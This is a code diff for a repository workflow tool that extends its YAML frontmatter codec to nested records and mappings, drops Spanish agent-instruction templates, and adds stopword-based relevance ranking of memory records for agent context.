| * value and no way to refuse one. They go through here instead, so a record | ||
| * created with a structure holds that structure rather than "[object Object]". | ||
| */ | ||
| export declare function renderFrontmatterEntry(key: string, value: unknown, { listKeys, style, indent }?: { | ||
| listKeys?: Set<string>; | ||
| style?: FrontmatterStyle; | ||
| indent?: string; | ||
| }): string[]; | ||
| export declare function patchFrontmatter(content: any, changes: any, { listKeys, touchUpdated, today }?: { | ||
@@ -50,0 +70,0 @@ listKeys?: Set<string>; |
@@ -95,2 +95,112 @@ import { ValidationError } from "./errors.js"; | ||
| const BLOCK_SCALAR = /^([|>])([+-]?\d*)\s*$/; | ||
| /** ` - id: gate-test` — the line that opens one record in a `records` block. */ | ||
| const RECORD_ITEM = /^(\s+)-\s+([A-Za-z_][\w.-]*):\s*(.*)$/; | ||
| /** ` run: pnpm test` — a field of the record above it, or of a `mapping`. */ | ||
| const RECORD_FIELD = /^(\s+)([A-Za-z_][\w.-]*):\s*(.*)$/; | ||
| /** | ||
| * Reads one `key: value` field into `target`, or refuses the whole structure. | ||
| * | ||
| * Refusing is the point. A field with no inline value opens a level this codec | ||
| * cannot hold, and a repeated key is a document whose meaning depends on which | ||
| * one wins — both are shapes where guessing would rewrite somebody's file into | ||
| * something they did not write. The caller turns a `false` here into `opaque`, | ||
| * which is the pre-existing behaviour for everything nested. | ||
| * | ||
| * The value is read by its shape, not by its name: `listKeys` says which | ||
| * top-level keys are lists, and there is no equivalent vocabulary one level | ||
| * down. `[a, b]` is a list because it is written as one, which is also what | ||
| * makes the round trip symmetric. | ||
| */ | ||
| function readField(target, key, raw) { | ||
| if (key in target) | ||
| return false; | ||
| const text = raw.trim(); | ||
| if (!text) | ||
| return false; | ||
| target[key] = | ||
| text.startsWith("[") && text.endsWith("]") | ||
| ? splitListItems(text.slice(1, -1)) | ||
| .map((item) => unquote(item.trim())) | ||
| .filter(Boolean) | ||
| : unquote(text); | ||
| return true; | ||
| } | ||
| /** | ||
| * A block sequence of mappings, or `null` when the lines are not one. | ||
| * | ||
| * Indentation is checked exactly rather than loosely, because the shape this | ||
| * has to refuse looks almost identical to the shape it accepts: | ||
| * | ||
| * ```yaml | ||
| * verify: | ||
| * - id: gate-test | ||
| * criteria: | ||
| * - sha256:ab12… | ||
| * ``` | ||
| * | ||
| * That last line is a nested sequence, and read leniently it parses as a second | ||
| * record with the key `sha256` — a silent corruption of the file on the next | ||
| * write. Its indentation does not match the item column, and its `criteria:` | ||
| * parent carries no inline value, so both checks catch it independently. | ||
| * | ||
| * At least one continuation line is required, which is what keeps this style | ||
| * disjoint from `block`: a sequence whose every line is a bare item is a list | ||
| * of strings and stays one, even when those strings contain a colon. | ||
| */ | ||
| function readRecords(meaningful) { | ||
| const opener = meaningful[0].match(RECORD_ITEM); | ||
| if (!opener) | ||
| return null; | ||
| const indent = opener[1]; | ||
| const fieldIndent = `${indent} `; | ||
| const value = []; | ||
| let fields = 0; | ||
| for (const line of meaningful) { | ||
| const item = line.match(RECORD_ITEM); | ||
| if (item && item[1] === indent) { | ||
| const record = {}; | ||
| if (!readField(record, item[2], item[3])) | ||
| return null; | ||
| value.push(record); | ||
| continue; | ||
| } | ||
| const field = line.match(RECORD_FIELD); | ||
| if (!field || field[1] !== fieldIndent || !value.length) | ||
| return null; | ||
| if (!readField(value[value.length - 1], field[2], field[3])) | ||
| return null; | ||
| fields += 1; | ||
| } | ||
| return fields ? { indent, value } : null; | ||
| } | ||
| /** | ||
| * The two nested shapes this codec holds, tried in order, or `null` for the | ||
| * many it does not. A block sequence and a mapping cannot both match, so the | ||
| * order between them is a formality rather than a precedence rule. | ||
| */ | ||
| function readStructured(meaningful) { | ||
| const records = readRecords(meaningful); | ||
| if (records) | ||
| return { style: "records", ...records }; | ||
| const mapping = readMapping(meaningful); | ||
| return mapping ? { style: "mapping", ...mapping } : null; | ||
| } | ||
| /** A mapping one level deep, or `null` when the lines are not one. */ | ||
| function readMapping(meaningful) { | ||
| const opener = meaningful[0].match(RECORD_FIELD); | ||
| if (!opener) | ||
| return null; | ||
| const indent = opener[1]; | ||
| const value = {}; | ||
| for (const line of meaningful) { | ||
| if (BLOCK_ITEM.test(line)) | ||
| return null; | ||
| const field = line.match(RECORD_FIELD); | ||
| if (!field || field[1] !== indent) | ||
| return null; | ||
| if (!readField(value, field[2], field[3])) | ||
| return null; | ||
| } | ||
| return { indent, value }; | ||
| } | ||
| function isIndented(line) { | ||
@@ -139,2 +249,8 @@ return /^\s+\S/.test(line); | ||
| let indent = " "; | ||
| // A declared list key is a list of scalars by definition, so it is never | ||
| // offered to the structured readers: `tags:` written as a block sequence | ||
| // must keep parsing as the strings it has always been. | ||
| const structured = meaningful.length && inline === "" && !listKeys.has(key) | ||
| ? readStructured(meaningful) | ||
| : null; | ||
| if (meaningful.length && BLOCK_SCALAR.test(inline)) { | ||
@@ -158,5 +274,10 @@ style = inline.startsWith("|") ? "literal" : "folded"; | ||
| } | ||
| else if (structured) { | ||
| ({ style, value, indent } = structured); | ||
| } | ||
| else if (meaningful.length) { | ||
| // A nested mapping, or anything else this codec does not model. | ||
| // Preserved verbatim on read; refused on patch rather than mangled. | ||
| // Anything else this codec does not model — a mapping more than one | ||
| // level deep, a sequence of sequences, a field whose value opens a | ||
| // block. Preserved verbatim on read; refused on patch rather than | ||
| // mangled. | ||
| style = "opaque"; | ||
@@ -217,3 +338,51 @@ value = block.join("\n"); | ||
| } | ||
| /** | ||
| * One `key: value` line inside a nested structure. | ||
| * | ||
| * List-ness is decided by the value, not by the key, which is the inverse of | ||
| * `serializeValue` and has to be: `listKeys` names top-level keys, and the | ||
| * fields one level down have no such vocabulary. Deciding by name here would | ||
| * write `criteria: ["a", "b"]` out as the scalar `"a,b"` — the round trip the | ||
| * spec makes normative, broken by the one call that looks most harmless. | ||
| */ | ||
| function renderField(key, value) { | ||
| if (Array.isArray(value)) { | ||
| const items = value.map((item) => quote(String(item), ITEM_NEEDS_QUOTE)); | ||
| return `${key}: [${items.join(", ")}]`; | ||
| } | ||
| return `${key}: ${quote(String(value ?? ""), SCALAR_NEEDS_QUOTE)}`; | ||
| } | ||
| /** A value the codec can hold one level down: a scalar, or a list of them. */ | ||
| function isFieldValue(value) { | ||
| if (Array.isArray(value)) { | ||
| return value.every((item) => item == null || typeof item !== "object"); | ||
| } | ||
| return value == null || typeof value !== "object"; | ||
| } | ||
| /** A mapping one level deep, with at least one field. */ | ||
| export function isFlatMapping(value) { | ||
| if (value == null || typeof value !== "object" || Array.isArray(value)) { | ||
| return false; | ||
| } | ||
| const fields = Object.values(value); | ||
| return fields.length > 0 && fields.every(isFieldValue); | ||
| } | ||
| /** A non-empty list of mappings one level deep. */ | ||
| export function isRecordList(value) { | ||
| return (Array.isArray(value) && value.length > 0 && value.every(isFlatMapping)); | ||
| } | ||
| function renderEntry(key, value, style, listKeys, indent) { | ||
| if (style === "records") { | ||
| const items = (Array.isArray(value) ? value : [value]); | ||
| return [ | ||
| `${key}:`, | ||
| ...items.flatMap((item) => Object.entries(item).map(([name, field], at) => `${indent}${at === 0 ? "- " : " "}${renderField(name, field)}`)) | ||
| ]; | ||
| } | ||
| if (style === "mapping") { | ||
| return [ | ||
| `${key}:`, | ||
| ...Object.entries(value).map(([name, field]) => `${indent}${renderField(name, field)}`) | ||
| ]; | ||
| } | ||
| if (style === "block") { | ||
@@ -234,4 +403,39 @@ const items = Array.isArray(value) ? value : [value]; | ||
| } | ||
| if (!isFieldValue(value)) { | ||
| // Object-shaped, but not one of the two nested shapes above — a mapping | ||
| // two levels deep, a list of lists, a list holding one of those. | ||
| // `serializeValue` would answer "[object Object]" and the write would | ||
| // succeed, which is how a record ends up holding a string where its | ||
| // author put a structure. | ||
| throw new ValidationError("RECORD_FRONTMATTER_UNREPRESENTABLE", `frontmatter key "${key}" holds a structure this codec cannot write. ` + | ||
| `Nested values go one level deep: a mapping of scalars, or a list of such mappings.`, { key }); | ||
| } | ||
| return [`${key}: ${serializeValue(key, value, listKeys)}`]; | ||
| } | ||
| /** | ||
| * Renders one frontmatter entry, choosing the style from the value when the | ||
| * caller has none to preserve. | ||
| * | ||
| * `renderCard` and its equivalents build a whole header from scratch by | ||
| * interpolating `serializeValue` per key, which has no way to express a nested | ||
| * value and no way to refuse one. They go through here instead, so a record | ||
| * created with a structure holds that structure rather than "[object Object]". | ||
| */ | ||
| export function renderFrontmatterEntry(key, value, { listKeys = DEFAULT_LIST_KEYS, style, indent = " " } = {}) { | ||
| return renderEntry(key, value, style ?? styleForValue(value), listKeys, indent); | ||
| } | ||
| /** | ||
| * The style a value has to be written in, independent of how it was last read. | ||
| * | ||
| * A key that has never been written has no remembered style, and a key whose | ||
| * value changed shape cannot keep the one it had — the same reason | ||
| * `patchFrontmatter` already drops `block` for a scalar. | ||
| */ | ||
| function styleForValue(value) { | ||
| if (isRecordList(value)) | ||
| return "records"; | ||
| if (isFlatMapping(value)) | ||
| return "mapping"; | ||
| return "flow"; | ||
| } | ||
| export function patchFrontmatter(content, changes, { listKeys = DEFAULT_LIST_KEYS, touchUpdated = true, today } = {}) { | ||
@@ -259,5 +463,9 @@ const parsed = parseFrontmatter(content, { listKeys }); | ||
| value === "" || | ||
| (Array.isArray(value) && value.length === 0); | ||
| (Array.isArray(value) && value.length === 0) || | ||
| (typeof value === "object" && | ||
| !Array.isArray(value) && | ||
| Object.keys(value).length === 0); | ||
| if (entry?.style === "opaque") { | ||
| throw new Error(`frontmatter key "${key}" holds a nested structure this codec does not rewrite`); | ||
| throw new ValidationError("RECORD_FRONTMATTER_OPAQUE", `frontmatter key "${key}" holds a nested structure this codec does not rewrite. ` + | ||
| `Nested values go one level deep: a mapping of scalars, or a list of such mappings.`, { key }); | ||
| } | ||
@@ -278,2 +486,10 @@ if (empty) { | ||
| } | ||
| // A nested value picks its own style rather than inheriting one. There | ||
| // is nothing to preserve the first time a key is written, and a value | ||
| // that changed shape has to change with it — `block` above is the same | ||
| // rule, one shape simpler. | ||
| const nested = styleForValue(value); | ||
| if (nested !== "flow" || style === "records" || style === "mapping") { | ||
| style = nested; | ||
| } | ||
| const rendered = renderEntry(key, value, style, listKeys, entry?.indent ?? " "); | ||
@@ -280,0 +496,0 @@ if (entry) { |
@@ -39,5 +39,7 @@ export type { AgentTarget, BaseProjectRecord, CardEffort, CardChanges, CardMutationOptions, CardPriority, CardRecord, CardStatus, CardType, ChangeRecord, ChangeVisibility, CiTarget, CreateCardInput, CreateChangeInput, CreateDocumentInput, CreateMemoryInput, CreateReleaseInput, DeepPartial, DocumentLayout, DoctorReport, DocumentRecord, EffectiveProjectSchema, HybridSearchOptions, MemoryCollection, MemoryRecord, ProjectAgentsConfig, ProjectCardsConfig, ProjectChangelogConfig, ProjectCiConfig, ProjectConfig, ProjectConfigInput, ProjectDiagnostic, ProjectDocsConfig, ProjectIntegration, ProjectIndex, ProjectMcpConfig, ProjectMemoryConfig, ProjectRecord, ProjectRecordLink, ProjectSearchConfig, ProjectSearchOptions, ProjectSearchResult, ProjectStorageConfig, ProjectUiConfig, ProjectWorkspace, ProjectWorkspacePaths, RecordMutationResult, ReleaseRecord, ReleaseStrategy, RevisionOptions, SemanticSearchMatch, SemanticSearchProvider, SemanticSearchRecord, WorkspaceVersion } from "./types.js"; | ||
| export { runDoctor } from "./modules/health/doctor.js"; | ||
| export { healDuplicateCardIds, renumberCard, reslugStaleCardFiles } from "./modules/health/renumber.js"; | ||
| export { healDuplicateCardIds, healDuplicateRecordIds, renumberCard, renumberRecord, reslugStaleCardFiles } from "./modules/health/renumber.js"; | ||
| export { HEALABLE_KINDS, byCodeUnit, classifyDuplicates, duplicateIssueMessage } from "./modules/health/duplicates.js"; | ||
| export type { DuplicateClassification, DuplicateRefusal } from "./modules/health/duplicates.js"; | ||
| export { baselineMissing, diffAgainstBaseline, issueKey, readDoctorBaseline, writeDoctorBaseline } from "./modules/health/baseline.js"; | ||
| export { runUpgrade } from "./modules/upgrade/index.js"; | ||
| export { createProjectServer, startProjectServer } from "./server/http.js"; |
@@ -33,5 +33,6 @@ export { defineProject } from "./config/define-project.js"; | ||
| export { runDoctor } from "./modules/health/doctor.js"; | ||
| export { healDuplicateCardIds, renumberCard, reslugStaleCardFiles } from "./modules/health/renumber.js"; | ||
| export { healDuplicateCardIds, healDuplicateRecordIds, renumberCard, renumberRecord, reslugStaleCardFiles } from "./modules/health/renumber.js"; | ||
| export { HEALABLE_KINDS, byCodeUnit, classifyDuplicates, duplicateIssueMessage } from "./modules/health/duplicates.js"; | ||
| export { baselineMissing, diffAgainstBaseline, issueKey, readDoctorBaseline, writeDoctorBaseline } from "./modules/health/baseline.js"; | ||
| export { runUpgrade } from "./modules/upgrade/index.js"; | ||
| export { createProjectServer, startProjectServer } from "./server/http.js"; |
@@ -0,1 +1,3 @@ | ||
| import { type ManagedFileReport } from "../generated/managed-files.js"; | ||
| import type { ProjectRecord } from "../../types.js"; | ||
| export declare const AGENT_TARGETS: Readonly<{ | ||
@@ -28,2 +30,12 @@ "agents-md": { | ||
| }>; | ||
| /** | ||
| * The files `syncAgentInstructions` writes, named without a workspace. | ||
| * | ||
| * `init` plans before the workspace exists, so it cannot call | ||
| * `renderAgentFiles` to find out what it is about to create — and a dry run | ||
| * that omits them describes three files for a run that writes nine. Both | ||
| * compose their paths from the same config keys and the same target table, so | ||
| * the plan and the run cannot disagree about which files there are. | ||
| */ | ||
| export declare function agentArtifactPaths(root: any, config: any, selectedTargets?: any): any[]; | ||
| export declare function renderAgentFiles(workspace: any, options?: any): any[]; | ||
@@ -45,9 +57,9 @@ export declare function syncAgentInstructions(workspace: any, options?: any): Promise<{ | ||
| }; | ||
| files: any[]; | ||
| files: ManagedFileReport[]; | ||
| issues: { | ||
| severity: string; | ||
| code: string; | ||
| file: any; | ||
| file: string; | ||
| message: string; | ||
| details: any; | ||
| details: ManagedFileReport; | ||
| }[]; | ||
@@ -64,4 +76,13 @@ }>; | ||
| totalAvailable: number; | ||
| records: any[]; | ||
| omitted: { | ||
| relevance: any[]; | ||
| limit: string[]; | ||
| }; | ||
| records: ProjectRecord[]; | ||
| digest: { | ||
| id: string; | ||
| title: string; | ||
| collection: unknown; | ||
| }[]; | ||
| markdown: string; | ||
| }>; |
@@ -6,3 +6,3 @@ import { readFile } from "node:fs/promises"; | ||
| import { inspectManagedFile, relativeLabel, renderManagedBlock, syncManagedFile } from "../generated/managed-files.js"; | ||
| import { buildProjectIndex, findProjectRecord } from "../records/public.js"; | ||
| import { buildProjectIndex, findProjectRecord, searchProjectRecords } from "../records/public.js"; | ||
| const PACKAGE_VERSION = JSON.parse(await readFile(new URL("../../../../package.json", import.meta.url), "utf8")).version; | ||
@@ -42,5 +42,2 @@ export const AGENT_TARGETS = Object.freeze({ | ||
| ]); | ||
| function spanish(workspace) { | ||
| return String(workspace.config.language || "en").toLowerCase().startsWith("es"); | ||
| } | ||
| function q(value) { | ||
@@ -50,66 +47,3 @@ return `\`${value}\``; | ||
| function canonicalBody(workspace) { | ||
| const isEs = spanish(workspace); | ||
| const areas = workspace.config.cards.areas.map(q).join(", "); | ||
| if (isEs) { | ||
| return `# Protocolo operativo del repositorio | ||
| Este repositorio usa **Repository Workfile schema v${workspace.schema.schemaVersion}**. Los archivos Markdown del repositorio son la fuente de verdad. La UI, el CLI y cualquier adaptador de agente deben usar los mismos servicios y reglas. | ||
| ## Antes de trabajar | ||
| 1. Busca el trabajo y el conocimiento relacionado con \`${workspace.cli} search\`. | ||
| 2. Abre la tarjeta y sus relaciones antes de modificar código sustancial. | ||
| 3. Reclama la tarjeta antes de tocar su scope: \`${workspace.cli} card claim ID --scope ruta,ruta\`. Tu identidad se resuelve sola; \`${workspace.cli} agents whoami\` la muestra. Usa \`--actor\` solo para reclamar en nombre de otro: un actor inventado a mano no coincide con el que ve el guardarraíl de edición. | ||
| 4. Revisa claims activos y solapamientos de scope. No sobrescribas el trabajo de otro actor. | ||
| 5. Carga solo el contexto necesario; evita inyectar toda la memoria del proyecto. | ||
| ## Durante el trabajo | ||
| - Mantén la tarjeta actualizada cuando cambie el alcance, el estado o aparezca un bloqueo. | ||
| - Crea tarjetas en la misma sesión para trabajo pendiente accionable descubierto. | ||
| - Registra decisiones, incidentes, convenciones o aprendizajes cuando cambien el comportamiento futuro. | ||
| - Añade un fragmento de changelog para cambios visibles o cuando lo exija la política del proyecto. | ||
| - Usa el CLI o un adaptador oficial para mutaciones; no edites frontmatter manualmente salvo emergencia. | ||
| - No guardes credenciales, tokens ni datos sensibles innecesarios en Cards, Docs, History o Memory. | ||
| ## Estados de Work | ||
| - \`backlog\`: identificado sin compromiso. | ||
| - \`next\`: priorizado para el siguiente lote. | ||
| - \`doing\`: trabajo activo y reclamado. | ||
| - \`review\`: implementación terminada, pendiente de verificación, despliegue o aprobación. | ||
| - \`blocked\`: bloqueado externamente; documenta la causa. | ||
| - \`deferred\`: aplazado deliberadamente; documenta el motivo. | ||
| - \`done\`: verificado en un entorno donde realmente se ejecuta. Un commit o merge no basta. | ||
| - \`discarded\`: no se hará; documenta el motivo. | ||
| ## Al terminar | ||
| 1. Ejecuta las pruebas y verificaciones relevantes. | ||
| 2. Ejecuta \`${workspace.cli} doctor\`. | ||
| 3. Deja la tarjeta en \`review\` si falta verificar o desplegar; usa \`done\` solo con evidencia real. | ||
| 4. Libera el claim cuando el trabajo activo se detenga. | ||
| 5. Registra conocimiento durable y changelog cuando corresponda. | ||
| ## Contratos del proyecto | ||
| - Áreas válidas: ${areas}. | ||
| - La jerarquía máxima de tarjetas es ${workspace.config.cards.maxHierarchyDepth} niveles por debajo de la raíz. | ||
| - Los claims caducan operativamente tras ${workspace.config.cards.claimLeaseHours} horas, pero no deben ignorarse sin revisar contexto. | ||
| - Instrucciones canónicas: \`${relativeLabel(workspace.root, workspace.paths.agentProtocol)}\`. | ||
| - Workflows: \`${relativeLabel(workspace.root, workspace.paths.agentWorkflows)}/*.md\`. | ||
| ## Comandos esenciales | ||
| \`${workspace.cli} next\` | ||
| \`${workspace.cli} search "consulta"\` | ||
| \`${workspace.cli} agents context --card T-0001\` | ||
| \`${workspace.cli} card show T-0001 --json\` | ||
| \`${workspace.cli} card claim T-0001 --scope apps/api\` | ||
| \`${workspace.cli} card transition T-0001 review\` | ||
| \`${workspace.cli} changelog add --title "Cambio" --type changed --area api\` | ||
| \`${workspace.cli} memory add decision --title "Decisión" --status accepted\` | ||
| \`${workspace.cli} doctor\` | ||
| `; | ||
| } | ||
| return `# Repository operating protocol | ||
@@ -177,15 +111,5 @@ | ||
| function workflowBody(workspace, workflow) { | ||
| const isEs = spanish(workspace); | ||
| const content = { | ||
| "start-work": isEs | ||
| ? `# Empezar trabajo | ||
| "start-work": `# Start work | ||
| 1. Ejecuta \`${workspace.cli} agents context --card <ID>\`. | ||
| 2. Lee la tarjeta, documentación, decisiones, convenciones e incidentes relevantes. | ||
| 3. Comprueba claims y scopes solapados. | ||
| 4. Reclama la tarjeta: \`${workspace.cli} card claim <ID> --scope ruta,ruta\`. No inventes un actor. | ||
| 5. Cambia a \`doing\` solo cuando el trabajo empiece realmente. | ||
| 6. Confirma criterios de aceptación y plan de verificación antes de editar código.` | ||
| : `# Start work | ||
| 1. Run \`${workspace.cli} agents context --card <ID>\`. | ||
@@ -197,15 +121,4 @@ 2. Read the card plus relevant docs, decisions, conventions and incidents. | ||
| 6. Confirm acceptance criteria and the verification plan before editing code.`, | ||
| "finish-work": isEs | ||
| ? `# Terminar trabajo | ||
| "finish-work": `# Finish work | ||
| 1. Ejecuta pruebas, typecheck, lint y verificaciones relevantes. | ||
| 2. Actualiza notas y criterios de aceptación con evidencia verificable. | ||
| 3. Añade fragmento de changelog si el cambio lo requiere. | ||
| 4. Registra decisiones, incidentes o aprendizajes durables. | ||
| 5. Ejecuta \`${workspace.cli} doctor\`. | ||
| 6. Usa \`review\` si falta despliegue o verificación en ejecución. | ||
| 7. Usa \`done\` únicamente cuando el resultado esté verificado en el entorno adecuado. | ||
| 8. Libera el claim cuando deje de existir trabajo activo.` | ||
| : `# Finish work | ||
| 1. Run relevant tests, typecheck, lint and verification. | ||
@@ -219,14 +132,4 @@ 2. Update notes and acceptance criteria with verifiable evidence. | ||
| 8. Release the claim when active work stops.`, | ||
| "discovered-work": isEs | ||
| ? `# Trabajo descubierto | ||
| "discovered-work": `# Discovered work | ||
| Cuando aparezca trabajo pendiente accionable durante otra tarea: | ||
| 1. No lo escondas únicamente en comentarios, memoria del agente o un TODO informal. | ||
| 2. Crea una tarjeta en la misma sesión con contexto suficiente y referencia a la fuente. | ||
| 3. Relaciónala mediante \`parent\`, \`depends\`, \`source\` o menciones de IDs. | ||
| 4. Usa \`idea\` solo para propuestas no validadas; usa un tipo de trabajo real cuando ya exista compromiso. | ||
| 5. No cambies prioridades del propietario sin autorización explícita.` | ||
| : `# Discovered work | ||
| When actionable pending work appears during another task: | ||
@@ -239,25 +142,4 @@ | ||
| 5. Do not change owner priorities without explicit authorization.`, | ||
| "record-knowledge": isEs | ||
| ? `# Registrar conocimiento | ||
| "record-knowledge": `# Record knowledge | ||
| Elige primero el registro y después la colección: | ||
| - **Nota de tarjeta**: evidencia sobre *esta* tarjeta. Muere con ella. | ||
| - **Memoria**: sobrevive a la tarjeta y cambia cómo se trabajará en el futuro. | ||
| - **Documento**: material de referencia que alguien leerá de principio a fin. | ||
| Cuando encajen dos, elige memoria: una nota que nadie volverá a buscar es lo más | ||
| barato de escribir y lo más fácil de perder. | ||
| Elige la colección más específica: | ||
| - \`learning\`: observación reutilizable aún basada en evidencia acumulable. | ||
| - \`decision\`: elección arquitectónica, de producto u operación con alternativas y consecuencias. | ||
| - \`incident\`: evento operativo con impacto, tiempos y acciones correctivas. | ||
| - \`convention\`: regla durable que humanos y agentes deben seguir. | ||
| - \`context\`: estado útil pero temporal, con expiración o revisión. | ||
| Evita duplicados: busca primero. Relaciona tarjetas y documentos. No guardes secretos. Gradúa o supersede registros cuando evolucione el conocimiento.` | ||
| : `# Record knowledge | ||
| Choose the record first, then the collection: | ||
@@ -285,22 +167,6 @@ | ||
| function adapterBody(workspace, target) { | ||
| const isEs = spanish(workspace); | ||
| const canonical = relativeLabel(workspace.root, workspace.paths.agentProtocol); | ||
| const header = isEs | ||
| ? `# Workfile para ${target.title}` | ||
| : `# Workfile for ${target.title}`; | ||
| const body = isEs | ||
| ? `${header} | ||
| const header = `# Workfile for ${target.title}`; | ||
| const body = `${header} | ||
| Antes de realizar cambios sustanciales, lee \`${canonical}\` y el workflow aplicable en \`${relativeLabel(workspace.root, workspace.paths.agentWorkflows)}\`. | ||
| Reglas críticas: | ||
| - Busca contexto con \`${workspace.cli} search\` o \`${workspace.cli} agents context\`. | ||
| - Reclama las tarjetas antes de modificar su scope. | ||
| - Usa CLI/MCP para mutaciones del protocolo. | ||
| - \`review\` significa pendiente de verificación; \`done\` exige evidencia en ejecución. | ||
| - Crea tarjetas para trabajo pendiente descubierto y registra conocimiento durable. | ||
| - Ejecuta \`${workspace.cli} doctor\` antes de terminar.` | ||
| : `${header} | ||
| Before substantial changes, read \`${canonical}\` and the relevant workflow under \`${relativeLabel(workspace.root, workspace.paths.agentWorkflows)}\`. | ||
@@ -318,2 +184,21 @@ | ||
| } | ||
| /** | ||
| * The files `syncAgentInstructions` writes, named without a workspace. | ||
| * | ||
| * `init` plans before the workspace exists, so it cannot call | ||
| * `renderAgentFiles` to find out what it is about to create — and a dry run | ||
| * that omits them describes three files for a run that writes nine. Both | ||
| * compose their paths from the same config keys and the same target table, so | ||
| * the plan and the run cannot disagree about which files there are. | ||
| */ | ||
| export function agentArtifactPaths(root, config, selectedTargets) { | ||
| const targets = selectedTargets || config.agents.targets; | ||
| return [ | ||
| resolve(root, config.agents.canonicalInstructions), | ||
| ...WORKFLOW_FILES.map(([file]) => resolve(root, config.agents.workflowsPath, file)), | ||
| ...targets | ||
| .filter((id) => AGENT_TARGETS[id]) | ||
| .map((id) => resolve(root, AGENT_TARGETS[id].path)) | ||
| ]; | ||
| } | ||
| function targetEntries(workspace, selectedTargets) { | ||
@@ -415,3 +300,3 @@ const targets = selectedTargets || workspace.config.agents.targets; | ||
| ? `Generated agent instructions have no managed block: ${item.path}` | ||
| : `Generated agent instructions are stale: ${item.path}`, | ||
| : `Generated agent instructions are stale: ${item.path}${item.reason ? ` (${item.reason})` : ""}`, | ||
| details: item | ||
@@ -461,2 +346,88 @@ })); | ||
| } | ||
| /** | ||
| * What the card asks its own workspace for. | ||
| * | ||
| * Stripped to bare words on the way out: `parseQuery` reads `key:value` as a | ||
| * filter and a leading `-` as a negation, and card titles carry both. A query | ||
| * built out of prose has to arrive as prose or it silently becomes a filter | ||
| * that matches nothing. | ||
| * | ||
| * The body is capped. Relevance comes from what the card is about, which the | ||
| * title, area, tags and opening paragraphs carry; feeding a whole card in | ||
| * makes every long card match everything. | ||
| */ | ||
| function relevanceQuery(focus) { | ||
| return [ | ||
| focus.title, | ||
| focus.area, | ||
| ...(focus.tags || []), | ||
| String(focus.body || focus.excerpt || "").slice(0, 600) | ||
| ] | ||
| .filter(Boolean) | ||
| .join(" ") | ||
| .replace(/[^\p{L}\p{N}]+/gu, " ") | ||
| .split(" ") | ||
| .filter((word) => word.length > 1 && !STOPWORDS.has(word.toLowerCase())) | ||
| .join(" ") | ||
| .trim(); | ||
| } | ||
| /** | ||
| * Words carried by the query that say nothing about what a card is about. | ||
| * | ||
| * The search this ranks with does not remove them, and does not need to: a | ||
| * human types the terms that matter. A query built from prose types all of | ||
| * them, and `searchScore` awards a title hit 15 points whether the word is | ||
| * "locomotion" or "the" — so "The render loop drops frames" and "Locomotion | ||
| * uses root motion rather than velocity" matched each other on `the`, and | ||
| * every card was relevant to every record again by a different route. | ||
| * | ||
| * English only, which is the whole surface since ADR-0012. The list is | ||
| * deliberately short: a word that carries no subject, not a word that is | ||
| * merely common. It is a heuristic and it is worth knowing it is one — two | ||
| * records about genuinely different subjects that share an unusual ordinary | ||
| * word will still meet. | ||
| */ | ||
| const STOPWORDS = new Set([ | ||
| "a", "about", "above", "after", "again", "against", "all", "an", "and", | ||
| "any", "are", "as", "at", "be", "been", "before", "being", "below", | ||
| "between", "both", "but", "by", "can", "did", "do", "does", "doing", | ||
| "down", "during", "each", "few", "for", "from", "further", "had", "has", | ||
| "have", "having", "how", "if", "in", "into", "is", "it", "its", "itself", | ||
| "just", "more", "most", "no", "nor", "not", "now", "of", "off", "on", | ||
| "once", "only", "or", "other", "our", "out", "over", "own", "rather", | ||
| "same", "should", "so", "some", "such", "than", "that", "the", "their", | ||
| "them", "then", "there", "these", "they", "this", "those", "through", | ||
| "to", "too", "under", "until", "up", "very", "was", "we", "were", "what", | ||
| "when", "where", "which", "while", "who", "why", "will", "with", "would", | ||
| "you", "your" | ||
| ]); | ||
| /** | ||
| * Memory ranked against the focus card, by id, best first. | ||
| * | ||
| * `scopeMatches` was supposed to be doing this and could not: it returns true | ||
| * whenever either side declares no scope, `memory add` sets none, and most | ||
| * cards carry none either — so in an ordinary workspace the filter passed | ||
| * everything and the only thing between a card and the whole of memory was the | ||
| * record cap. Two unrelated cards received an identical bundle, which is what | ||
| * DOC-0005 reported and what `protocol.md` line 12 tells agents not to do. | ||
| * | ||
| * Scored by the same search the CLI exposes rather than by a second notion of | ||
| * relevance invented here: it already tokenizes without diacritics, weights | ||
| * title over body, and — the part that matters — drops records that score | ||
| * zero. A relevance rule that only works on annotated records would be the | ||
| * same no-op with more code, because the annotation is what nobody fills in. | ||
| */ | ||
| function rankMemoryAgainst(index, focus) { | ||
| const query = relevanceQuery(focus); | ||
| if (!query) | ||
| return null; | ||
| const ranked = searchProjectRecords(index.records, query, { | ||
| kinds: ["memory"], | ||
| limit: index.records.length, | ||
| view: "summary" | ||
| }); | ||
| // Typed rather than inferred: `map` over a two-element array literal widens | ||
| // to `(string | number)[]`, and the ranks then stop being numbers. | ||
| return new Map(ranked.records.map((record, at) => [record.id, at])); | ||
| } | ||
| export async function buildAgentContext(workspace, options = {}) { | ||
@@ -542,2 +513,32 @@ // This is the route an agent hits most, and it rebuilt the whole index to | ||
| scopeMatches(record.scope, focus?.scope)); | ||
| // No focus means no query, and a session-start bundle keeps every record it | ||
| // qualified for: there is nothing yet for relevance to be relative to. | ||
| const ranked = focus ? rankMemoryAgainst(index, focus) : null; | ||
| // Normative records are exempt, informational ones are not, and the line | ||
| // is whether the record constrains work it does not mention. | ||
| // | ||
| // A convention is a rule and a decision is a choice nothing may silently | ||
| // contradict — both bind a card that shares no vocabulary with them. | ||
| // CONV-0001, "protocol records are written in English", has nothing in | ||
| // common with a card about a render loop and governs it completely, and | ||
| // dropping it is how it became unreachable once already. Learnings, | ||
| // incidents and context describe a subject instead, and a subject is | ||
| // exactly what relevance can judge. | ||
| // | ||
| // The cost is honest and worth naming: a workspace with many accepted | ||
| // decisions still gets all of them, bounded only by `--limit`. Ranking | ||
| // decides which survive that cap, so the order is useful even when the | ||
| // filter cannot help. | ||
| const NORMATIVE = ["conventions", "decisions"]; | ||
| const relevant = (record) => !ranked || NORMATIVE.includes(record.collection) || ranked.has(record.id); | ||
| // `Infinity` rather than 0 for a record with no rank: without a query | ||
| // nothing is ranked and the comparator has to be a no-op, and with one an | ||
| // unranked record was already dropped by `relevant`. | ||
| const rankOf = (record) => ranked?.get(record.id) ?? Number.POSITIVE_INFINITY; | ||
| const byRank = (left, right) => rankOf(left) - rankOf(right); | ||
| // Decisions lead because they are normative and always present; the rest | ||
| // are ranked in among them by the sort below. | ||
| const qualified = [...decisions, ...incidents, ...learnings, ...contexts]; | ||
| // Typed rather than inferred: an empty literal is `never[]`, so everything | ||
| // read back off it — including `cut` below — has no properties at all. | ||
| const prioritized = []; | ||
